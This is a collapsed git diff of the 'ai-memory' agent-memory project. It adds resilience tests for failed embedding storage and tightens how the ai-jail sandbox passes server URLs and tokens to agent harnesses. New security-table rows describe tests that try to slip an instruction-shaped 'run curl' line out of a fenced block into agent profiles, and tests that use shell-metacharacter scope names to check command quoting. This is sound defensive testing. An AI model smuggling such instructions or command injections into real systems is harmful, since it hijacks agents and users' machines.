Embedder> {+ Arc::new(StoreFailingEmbedder {+ db_path: store.db_path().to_owned(),+ broke_body_table: std::sync::atomic::AtomicBool::new(false),+ })+ }+#[test]fn expires_at_accepts_rfc3339_and_date_only_utc() {let path = PagePath::new("notes/ttl.md").unwrap();@@ -4984,6 +5057,34 @@ mod tests {);}+ #[tokio::test]+ async fn auto_improve_approval_stays_successful_when_embedding_storage_fails() {+ let tmp = TempDir::new().unwrap();+ let (store, wiki, ws, proj) = scoped(&tmp).await;+ let id = stage_one(&store, ws, proj, "notes/approved-store-failure.md", "kept").await;+ let wiki = wiki.with_embedder(store_failing_embedder(&store));++ let result = wiki+ .approve_auto_improve_proposal(ws, proj, id, ActorContext::default(), None, None)+ .await+ .unwrap();++ assert!(matches!(+ result,+ ApproveAutoImproveProposalResult::Approved { .. }+ ));+ assert_eq!(+ store+ .reader+ .page_body_by_ids(ws, proj, "notes/approved-store-failure.md")+ .await+ .unwrap()+ .unwrap()+ .body,+ "kept"+ );+ }+/// Body and abstract vector sets for the synthetic test embedder.async fn synthetic_embedded(store: &Store,@@ -5075,6 +5176,42 @@ mod tests {assert_eq!(abstracts, vec![id], "with its restored abstract");}+ #[tokio::test]+ async fn checkpoint_restore_stays_successful_when_embedding_storage_fails() {+ let tmp = TempDir::new().unwrap();+ let (store, wiki, ws, proj) = scoped(&tmp).await;+ let path = PagePath::new("notes/restored-store-failure.md").unwrap();+ wiki.write_page(req(+ ws,+ proj,+ path.as_str(),+ "checkpoint body",+ serde_json::json!({}),+ ))+ .await+ .unwrap();+ let rev = wiki.commit_all("checkpoint").unwrap().unwrap().to_string();+ wiki.write_page(req(+ ws,+ proj,+ path.as_str(),+ "later body",+ serde_json::json!({}),+ ))+ .await+ .unwrap();+ let wiki = wiki.with_embedder(store_failing_embedder(&store));++ wiki.restore_page_from_checkpoint(ws, proj, path.clone(), &rev)+ .await+ .unwrap();++ assert_eq!(+ wiki.read_page(ws, proj, &path).unwrap().body,+ "checkpoint body"+ );+ }+#[tokio::test]async fn auto_improve_approval_admission_mutation_is_persisted_and_scrubbed() {use axum::http::StatusCode;diff --git a/crates/ai-memory-workstream/src/jail.rs b/crates/ai-memory-workstream/src/jail.rsindex 2234ef3e..08af99a5 100644--- a/crates/ai-memory-workstream/src/jail.rs+++ b/crates/ai-memory-workstream/src/jail.rs@@ -14,6 +14,7 @@ use std::path::{Path, PathBuf};/// otherwise be invisible inside the jail.pub const FORWARDED_ENV_NAMES: &[&str] = &["AI_MEMORY_SERVER_URL",+ "AI_MEMORY_BASE_PATH","AI_MEMORY_HOOK_URL","AI_MEMORY_DATA_DIR","AI_MEMORY_AUTH_TOKEN",diff --git a/docs/cookbook.md b/docs/cookbook.mdindex 9bb33d23..f04c7189 100644--- a/docs/cookbook.md+++ b/docs/cookbook.md@@ -416,6 +416,14 @@ ai-memory run --yolo claudeflags on purpose: they would collide with the harness's own flags (ClaudeCode has a `--worktree`). The credential mounts need ai-jail 2.5.0; togglesyour installed ai-jail lacks are hidden, and naming one is an error.+- **Connecting back to ai-memory.** The jailed process automatically receives+ the resolved server URL and URL base path, including a remote server from+ `config.toml`. A root bearer read from `config.toml` or+ `bearer_token_file` is not exposed to the managed harness; the launch stops+ instead. For an authenticated server, give the launch a least-privilege API+ token with `AI_MEMORY_AUTH_TOKEN=... ai-memory run --jail ...`, or run+ without the jail. An explicitly supplied environment token already belongs+ to the child-process boundary and is forwarded.- **A project `.ai-jail` wins.** If the directory you launch from has its own`.ai-jail`, ai-jail loads it as-is: no checklist, and a bare `--jail` addsno toggles; `--jail=…` still applies its list on top. A project file cannot@@ -601,11 +609,11 @@ ai-memory serve # run the serverexclusions.- **Nothing new is being remembered at all**: run `ai-memory doctor`. It workswith the server down and says so; it reports the local hook spool (events- waiting for the server, and a warning once it is full and each new event- evicts the oldest undelivered one); and when ai-memory's Codex hooks are- installed, it asks Codex whether it will run them. Codex skips a hook you- have not trusted, and skips it again after its command changes, without- telling you: open Codex, run `/hooks`, and trust them.+ waiting for the server, and a warning once it is full and newly captured+ events are dropped until space is available); and when ai-memory's Codex+ hooks are installed, it asks Codex whether it will run them. Codex skips a+ hook you have not trusted, and skips it again after its command changes,+ without telling you: open Codex, run `/hooks`, and trust them.- **Agents keep calling `memory_recall`, `memory_save` or other tools ai-memorydoes not have**: agentmemory's MCP entry or its rules-file guideline block isstill there. `ai-memory doctor` names each one with the fix (seediff --git a/docs/design-yolo-safety-ai-jail.md b/docs/design-yolo-safety-ai-jail.mdindex 380ee12a..efdb655b 100644--- a/docs/design-yolo-safety-ai-jail.md+++ b/docs/design-yolo-safety-ai-jail.md@@ -112,12 +112,14 @@ ai-jail --network --agent-state --no-save-config \minimal allowlist, so `AI_MEMORY_*`, `CLAUDE_CONFIG_DIR`, and provider tokensare **not** inherited. ai-memory forwards the ones it set (server/hook URL,the token vars it already threads) with `--env NAME`. Only names that are- actually set in the current environment are forwarded, plus two values the- outer run resolved from its config: the bearer token (often read from- `[auth].bearer_token_file`) and a `server_url` set in `config.toml`.- ai-jail's private home hides the data dir holding both, so without them the- jailed run got 401 on every server call. ai-memory sets them on the ai-jail- process's environment, never its argv, and forwards them by name.+ actually set in the current environment are forwarded, plus routing values+ the outer run resolved from config: an explicit or bind-derived `server_url`+ and a non-empty `base_path`. A bearer read from `config.toml` or+ `[auth].bearer_token_file` is different: copying it into the environment+ would expose server-root authority to the harness. The jailed launch refuses+ that case and asks for a least-privilege `AI_MEMORY_AUTH_TOKEN` or an+ unjailed run. An operator-supplied environment token was already inside the+ child-process boundary and is forwarded unchanged.- **`--no-save-config`** so ai-jail never writes these flags into theproject `.ai-jail` (§5).- **`--agent-state`** so the harness's own login/credentials persist across the@@ -359,8 +361,9 @@ directly.or unchecking opts out.- `docker` grants effective root on the host; it is never on by default andits note says so.-- The re-exec still forwards only environment names already set (§2), and- the toggle flags carry no values or secrets.+- The re-exec forwards only environment names already set plus resolved+ routing values (§2). It never turns a config-file bearer into an environment+ variable, and the toggle flags carry no values or secrets.## OS support matrix@@ -396,8 +399,9 @@ directly.- The warning/offer are **TTY-gated**; no new prompt reaches hook, CI,detached, or piped paths (mirrors the interactive-lock and native-pickergates).-- Re-exec forwards only environment names that are already set; it introduces- no new secret surface and does not log token values.+- Re-exec forwards only environment names that are already set and non-secret+ routing values resolved from config. It introduces no new secret surface and+ does not log token values.- true-yolo is off by default, Claude-only, and documented as sandbox-first.- Detection failure fails *open* to the safe side: if we cannot tell we arejailed, we show the warning (never silently skip it).diff --git a/docs/prior-art-implementation-findings.md b/docs/prior-art-implementation-findings.mdindex 61dc06db..318e56a8 100644--- a/docs/prior-art-implementation-findings.md+++ b/docs/prior-art-implementation-findings.md@@ -31,7 +31,7 @@ The follow-up implementation landed the pragmatic subset of this roadmap:|---|---|| Slots | `_slots/` pages are pinned automatically and surfaced in briefing/explore snapshots. || Scheduled maintenance | Server-side schedule runs lint and forget sweep daily by default; embedding backfill is opt-in. |-| Vector contract | Status reports missing embeddings and stored triples; batch writes leave vector completeness to backfill. |+| Vector contract | Status reports missing embeddings and stored triples; every wiki mutation attempts embeddings after its durable commit, and backfill repairs provider/configuration gaps. || Links / graph | Markdown and wikilinks are parsed into `links`; unresolved forward links resolve when targets appear; query uses graph-neighbor RRF. || Raw fallback | `observations_fts` provides bounded raw fallback when compiled wiki search misses. || Diagnostics | `status` includes FTS row counts, missing embeddings, embedding triples, and unresolved/stale link counts. |@@ -154,17 +154,18 @@ for keeping scheduled and queued provider work outside hook latency.### P0: Clarify And Fix The Vector Indexing Contract-There was a concrete mismatch in the implementation notes: `Wiki`'s-comment implied `write_page` / `apply_batch` both computed embeddings-when an embedder was attached, but the code only embedded in-`write_page`. The comment now states the contract explicitly:-`apply_batch` keeps SQL/file fan-out atomic and vector completeness is-owned by admin or scheduled backfill.+There was a concrete mismatch in the original implementation notes:+`Wiki`'s comment implied `write_page` / `apply_batch` both computed+embeddings when an embedder was attached, but only `write_page` did so at+the time. That gap has since been closed. `write_page`, `apply_batch`,+auto-improvement approvals, and checkpoint restores all attempt to embed+each written version after the durable mutation commits and releases its+guard.-Also, `write_page` logs and continues if the embedder fails. That is a-reasonable availability tradeoff, but docs and invariants should be-precise: FTS5/page persistence is transactional; vector completeness is-best-effort unless a backfill/status mechanism says otherwise.+Embedding still logs and continues if the provider fails. That is a+deliberate availability tradeoff: FTS5/page persistence is transactional,+while vector completeness is best-effort and observable through status and+repairable through admin or scheduled backfill.Options evaluated:@@ -174,14 +175,10 @@ Options evaluated:| Add `embedding_status` and scheduled backfill | Better availability and observability, slightly more schema/state. || Document vector indexing as optional best-effort | Minimal change, but less trustworthy without visible status. |-The implemented choice is status plus scheduled backfill. It preserves the-durable FTS path, exposes vector gaps, and keeps backfill opt-in.--Since #1258, `apply_batch`, auto-improvement approvals and-checkpoint restores also embed each written version after the batch commits-and the mutation guard is released, through the same best-effort helper as-`write_page`. Backfill now covers only provider failures and configuration-changes, not every page a batch writes.+The implemented choice combines mutation-time best-effort embedding with+status and scheduled backfill. It preserves the durable FTS path, exposes+vector gaps, and keeps backfill opt-in. Since #1258, backfill covers provider+failures and configuration changes rather than every page a batch writes.### Implemented: Graph/Link Retrieval@@ -322,7 +319,7 @@ These items previously drifted from the code. Their current status is:| scheduled maintenance | Fixed: docs describe default scheduled lint/sweep, opt-in embedding backfill, and the independent hollow-project cleanup. || procedural tier | Fixed: consolidation can classify procedural memory, auto-improvement can create or patch bounded `procedures/` pages, and retention preserves semantic/procedural tiers. || SessionEnd consolidation | Fixed: substantive SessionEnd processing writes a deterministic page and handoff; lifecycle-only sessions close without generated artifacts or LLM work and release their session-bound startup handoff. Opt-in LLM work uses a durable retry queue, while PreCompact/manual consolidation remain available. |-| batch embeddings | Fixed: code comments and status diagnostics now describe batch vector completeness as backfill-owned. |+| batch embeddings | Fixed: every wiki mutation attempts post-commit embedding; status exposes gaps and backfill repairs provider/configuration misses. |## Implemented Roadmap Slicediff --git a/docs/security-boundaries.md b/docs/security-boundaries.mdindex 68898e66..d5fad577 100644--- a/docs/security-boundaries.md+++ b/docs/security-boundaries.md@@ -109,7 +109,11 @@ means the boundary is not built yet.| 14g | Web project search and its recall trace honour `memory_query`'s scope rules (#708) and never describe another project | `ai-memory-web/src/routes/search.rs` resolves `workspace`+`project` through `resolve_read_scope` (`lookup_existing_scope_guarded`, no-create, `ProjectAccess::Read`) before any ranking, and refuses partial scope; scoped `/api/v1/search` keeps `lookup_project` / `resolve_many_existing_scopes_guarded`; `ai-memory-web/src/recall.rs` ranks only the resolved scopes through `ReaderPool::hybrid_search_scopes`, whose streams and graph expansion are bound to each `(workspace_id, project_id)`; a search with no scope stays `search_pages_with_meta(.., viewer)` (readable repositories only) | `ai-memory-web` `tests/suite/recall_trace.rs` — `project_search_refuses_a_restricted_project_without_a_grant` (bob, with no grant, gets 403 from `/web/search` with and without `explain=1` and from scoped `/api/v1/search`, with no path, body text or trace in the response, and a `scopes` POST naming the restricted project next to an open one is refused; alice's grant and an unrestricted viewer are the controls), `project_search_fails_closed_on_unknown_and_partial_scope` (unknown project or workspace 404 with nothing created, partial scope 400), `explain_renders_stream_ranks_rrf_authority_and_timings` (a better-matching page in a sibling project never reaches the hits or the trace), `search_scope_selector_lists_only_readable_projects` (the search page's "Search in" selector lists only projects the viewer may read, and a hand-typed `scope=` for an ungranted project is a 403 that leaks nothing; controls: the granted reader and an unrestricted viewer; passing no viewer to `list_projects_with_stats` in the handler fails it), `routes.rs` `search_page_scope_selector_round_trips_and_rejects_malformed_values` (a malformed `scope` is a 400); `ai-memory-mcp` `tests/suite/web_search_parity.rs` (same top-k order as `memory_query` from `/web` and `/api/v1`, with a deterministic embedder and with none, explain on and off, and merged `scopes`; controls show a web search without the embedder, or the old FTS-only scoped search, would fail it) | STRONG. Bite checks: passing no viewer to `resolve_read_scope` in the search handler, to `lookup_project` or to `resolve_scopes` in the API each fails the restricted-project test; dropping the query vector in `recall.rs` fails the embedder parity tests || 15 | Agent-archive restore path confinement, resource bounds, and consistency | `ai-memory-cli/src/commands/restore_agents.rs` stages only bounded regular UTF-8 entries; requires a one-to-one manifest/body/checksum/target mapping; allowlists destinations by scope; rejects symlinked descendants; writes each file atomically and rolls back earlier writes after a later failure. `backup_agents.rs` skips direct and directory-root source symlinks, bounds individual assets, and atomically replaces a private archive only after gzip completion | `backup_agents.rs` `restore_agents_rejects_path_traversal`, `restore_agents_rejects_unauthorized_destination_path`, `restore_agents_verifies_sha256_integrity`, `restore_agents_requires_a_complete_one_to_one_manifest`, `restore_agents_rejects_oversized_entries_from_the_header`, `restore_agents_rejects_a_symlinked_destination_parent`, `backup_agents_does_not_follow_config_or_asset_root_symlinks`, and `failed_backup_leaves_the_previous_archive_intact`; `backup_and_restore_agents_round_trip` is the valid-path control; `restore_agents::tests::rollback_removes_new_files_and_restores_overwrites` covers recovery | STRONG || 16 | Relay queue identity, migration, and private filesystem state | `companions/ai-memory-relay/src/queue.rs` `Queue::open_inner` performs read-only identity preflight, rechecks under `IMMEDIATE`, commits schema and metadata together; `configure` checks the presence of user objects and rechecks `identity`/`schema_version` metadata on the same connection before every bounded BUSY/LOCKED retry; `fsguard.rs` checks existing paths and creates owner-only files before SQLite opens them | `tests/relay.rs` `a_foreign_database_is_refused_byte_for_byte`, `unknown_schemas_refuse_without_mutation`, `a_foreign_database_with_a_writer_is_refused_before_write_coordination`, `a_foreign_identity_after_preflight_is_refused_without_mutation`, `a_foreign_identity_during_journal_retry_is_refused_without_mutation`, `journal_retry_refuses_a_changed_version_or_empty_database_without_mutation`; controls: `journal_transition_retries_sqlite_lock_without_losing_v1_values`, `fresh_queue_init_and_v1_reopens_work_across_processes`; recovery: `interrupted_and_failed_migrations_roll_back_and_recover`, `journal_reclassification_busy_preserves_committed_migration_and_retries_same_queue`; diagnostics: `classification_read_failures_display_the_sqlite_cause_once_and_preserve_foreign_bytes`; Unix privacy: `the_queue_database_and_its_sidecars_are_owner_only` and the contended migration control | Guard-removal proof covers preflight, locked recheck, and journal retry identity/version checks; full table structure is outside this classification. Windows path rejection is preserved; Windows ACL hardening remains operator-owned |-+| 17 | Markdown code fences keep instruction-shaped text as data | `ai-memory-consolidate/src/code_fence.rs` and `ai-memory-wiki/src/markdown.rs` accept a fence delimiter only after zero to three leading ASCII spaces, require the closing glyph to match and the run to be at least as long, and preserve the current fence state across four-space, tab or Unicode-whitespace pseudo-delimiters. Profile harvesting, auto-improvement section parsing, link extraction, link rewriting and de-linking all use those scanners | `code_fence.rs` `only_zero_to_three_ascii_spaces_may_prefix_a_fence`; `profile.rs` `an_indented_pseudo_closer_cannot_expose_a_profile_preference` attempts to expose an instruction-shaped `run curl` sentence and admits a legitimate preference only after the real close; `auto_improve.rs` `heading_parser_ignores_headings_after_an_indented_pseudo_closer`; `markdown.rs` `indented_pseudo_closers_do_not_expose_or_rewrite_fenced_links` covers four spaces, tab and Unicode whitespace with visible post-close controls | STRONG for the shared consolidation and wiki scanners; independent renderers remain responsible for their own CommonMark parsing |+| 18 | Read-only pending-write commands cannot execute stored scope names as shell syntax | `ai-memory-web/src/routes/pending.rs` renders separate `posix_cli_command` and `powershell_cli_command` forms. POSIX arguments use single quotes with the standard close/escaped-quote/reopen sequence; PowerShell doubles embedded apostrophes. The template labels the shells and claims no cmd.exe support | `routes/pending.rs` `cli_commands_quote_hostile_scope_names_for_each_shell` covers quotes, semicolons, pipes and ampersands with ordinary-name controls; `tests/suite/pending.rs` `pending_page_offers_cli_commands_instead_of_buttons_to_a_basic_browser` stores hostile workspace/project names and checks both escaped forms through the full route | STRONG for POSIX shells and PowerShell; cmd.exe is intentionally not offered |+| 19 | ai-jail re-exec never promotes a config-file root bearer into harness-readable environment | `ai-memory-cli/src/commands/run.rs` `ensure_jail_does_not_export_config_token` refuses explicit and offered jail re-exec when auth came from config rather than `AI_MEMORY_AUTH_TOKEN`; `jail_resolved_env` forwards only resolved routing (`AI_MEMORY_SERVER_URL`, `AI_MEMORY_BASE_PATH`), while `jail_forwarded_names` forwards an auth variable only when the operator already placed it in the process environment | `run.rs` `jail_refuses_a_config_sourced_token_and_forwards_routing` attempts the file-token exposure and verifies route-only output; `jail_forwarded_names_come_from_the_captured_env_and_resolved_values` is the explicit-environment control | STRONG for credentials loaded by ai-memory. Residual: a token the operator exports is already inherited by an unjailed managed harness and may itself be privileged; use a least-privilege API token |+| 20 | Claude instruction-import discovery has bounded local-file reads | `ai-memory-cli/src/commands/install_instructions.rs` `imports_within` stops at four hops, deduplicates visited paths, reads at most 256 KiB from one file and 1 MiB across one graph, and skips oversized or non-UTF-8 files. It only decides whether to print a setup note; it never executes imported text | `claude_import_detection_refuses_oversized_and_non_utf8_files` attempts both per-file violations; `claude_import_detection_bounds_the_whole_import_graph` exhausts the graph budget before an indirect target; `agents_md_reached_through_nested_imports_counts_up_to_four_hops` supplies the legitimate nested-import control and cycle termination | STRONG |+| 21 | Automatic-backfill stale takeover has exact marker ownership | `ai-memory-cli/src/commands/backfill.rs` gives each claim a CSPRNG UUID nonce, serializes claim/refresh/release with a persistent per-checkout advisory-lock inode, passes the nonce to the detached worker through a hidden CLI argument, and compares it before refreshing or deleting the marker. A delayed old worker cannot adopt or remove a replacement owner's marker | `backfill.rs` `stale_takeover_refuses_the_previous_owners_refresh_and_release` attempts both stale-owner mutations, then proves the replacement can refresh and release; burst, stale-age, cleanup and detached-argument tests are the controls | STRONG for same-checkout process races on supported local filesystems; the hook's lock attempt is non-blocking to preserve its latency bound |## Keeping this current (the standing protocol)